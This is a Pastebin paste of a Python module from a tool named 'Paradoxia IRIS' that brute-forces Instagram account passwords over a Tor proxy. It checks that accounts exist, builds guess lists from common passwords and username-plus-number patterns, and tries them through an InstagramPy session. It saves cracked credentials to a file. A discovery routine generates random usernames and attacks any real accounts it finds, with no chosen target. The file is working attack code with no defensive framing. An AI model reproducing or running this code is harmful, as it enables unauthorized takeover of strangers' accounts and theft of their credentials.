Advertisement
FlyFar

iriscore/instagram.py

Aug 24th, 2023
2,042
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.08 KB | Cybersecurity | 0 0
  1. from colorama import Fore, Style
  2. import colorama
  3. import requests
  4. from .core import *
  5. from InstagramPy.InstagramPyCLI import InstagramPyCLI
  6. from InstagramPy.InstagramPySession import InstagramPySession , DEFAULT_PATH
  7. from InstagramPy.InstagramPyInstance import InstagramPyInstance
  8. from datetime import datetime
  9.  
  10. proxies = {
  11.     'http': 'socks5://127.0.0.1:9050',
  12.     'https': 'socks5://127.0.0.1:9050'
  13. }
  14.  
  15. def BruteForceInstagram(username, password, mode = False):
  16.  
  17.     appInfo = {
  18.    "version"     : "0.0.1",
  19.    "name"        : "Paradoxia IRIS",
  20.    "description" : "Choose Strong Passwords",
  21.    "author"      : "QuantumCore",
  22.    "company"     : "QCORED",
  23.    "year"        : "2020",
  24.    "example"     : ""
  25.     }
  26.    
  27.     cli = InstagramPyCLI(appinfo = appInfo , started = datetime.now() , verbose_level = 3, username=username)
  28.  
  29.     session = InstagramPySession(username , password , DEFAULT_PATH , DEFAULT_PATH , cli)
  30.     session.ReadSaveFile(False) # True to countinue attack if found save file.
  31.     instagrampy = InstagramPyInstance(cli = None ,session = session)
  32.     with open(password, "r") as list:
  33.         lines = list.readlines()
  34.     if(mode == True):
  35.         print('[*] Brute Forcing ' + username + ' {len} Passwords...'.format(len = str(len(lines))))
  36.     else:
  37.         print('[*] Brute Forcing ' + username + ' with {len} probable weak Passwords.'.format(len = str(len(lines))))
  38.  
  39.     for i in range(len(lines)):
  40.         instagrampy.TryPassword()
  41.         if not instagrampy.PasswordFound():
  42.             print(Style.BRIGHT + Fore.LIGHTYELLOW_EX)
  43.             print('[-] Login Failed ' + username + ':' +session.CurrentPassword())
  44.             instagrampy.TryPassword()
  45.            
  46.         if instagrampy.PasswordFound():
  47.             print(Style.BRIGHT + Fore.CYAN)
  48.             print('[+] Password Found: '+session.CurrentPassword())
  49.             with open("accounts.iris", "a+") as found:
  50.                 found.write("\n[INSTAGRAM] " + username + ":"+session.CurrentPassword())
  51.                 break
  52.         else:
  53.             pass    
  54.  
  55.  
  56. def isInstagramUser(user):
  57.     try:
  58.         rsp = requests.get("https://instagram.com/" + user + "/")
  59.         if(rsp.status_code == 404):
  60.             # print(Fore.RED + Style.BRIGHT + "[+] Account {account} not found.".format(account = user))
  61.             return False
  62.         elif(rsp.status_code == 200):
  63.             print(Style.BRIGHT + Fore.LIGHTBLUE_EX + "[+] Account {account} found.".format(account = user))
  64.             return True
  65.     except Exception as error:
  66.         print(Fore.RED + Style.BRIGHT + "[X] Error : " + str(error))
  67.         print(Fore.RED + Style.BRIGHT + "[X] Connection Refused. Make sure TOR Socks Proxy is running on 127.0.0.1:9050 and you have an Active Internet Connection.")
  68.  
  69. def create_temp_list(user):
  70.     with open("temp.iris", "w") as wlist:
  71.         for i in range(20):
  72.             r = random_password(user)
  73.             wlist.write(r+"\n")
  74.         with open("top_common.list", "r") as common:
  75.             for l in common.readlines():
  76.                 wlist.write(l)
  77.        
  78.         wlist.write("\n"+user+"12345")
  79.         wlist.write("\n"+user+"123456789")
  80.         wlist.write("\n"+user+"12345678")
  81.         wlist.write("\n"+user+"123")
  82.         wlist.write("\n"+user+"password")
  83.         wlist.write("\n"+user+"2009")
  84.         wlist.write("\n"+user+"2010")
  85.         wlist.write("\n"+user+"2015")
  86.         wlist.write("\n"+user+"2019")
  87.         wlist.write("\n"+user+"2020")
  88.  
  89.  
  90. def BRUTEFORCE(USER, password_list):
  91.     while(True):
  92.         if(isInstagramUser(USER) == True):
  93.             BruteForceInstagram(USER, password_list, mode=True)
  94.             break
  95.         else:
  96.             break    
  97.  
  98. def BRUTEFORCE_DISCOVERY():
  99.     while(True):
  100.         USER = random_email(username_also=True)
  101.         if(isInstagramUser(USER[0]) == True):
  102.             with open("usernames.iris", "a+") as userfile:
  103.                 userfile.write("\n[INSTAGRAM USER] : {s}/{p}".format(s=USER[0], p=USER[1]))
  104.             create_temp_list(USER[1])
  105.             BruteForceInstagram(USER[1], "temp.iris")
  106.         else:
  107.             pass
Advertisement
Comments
Add Comment
Please, Sign In to add comment
Advertisement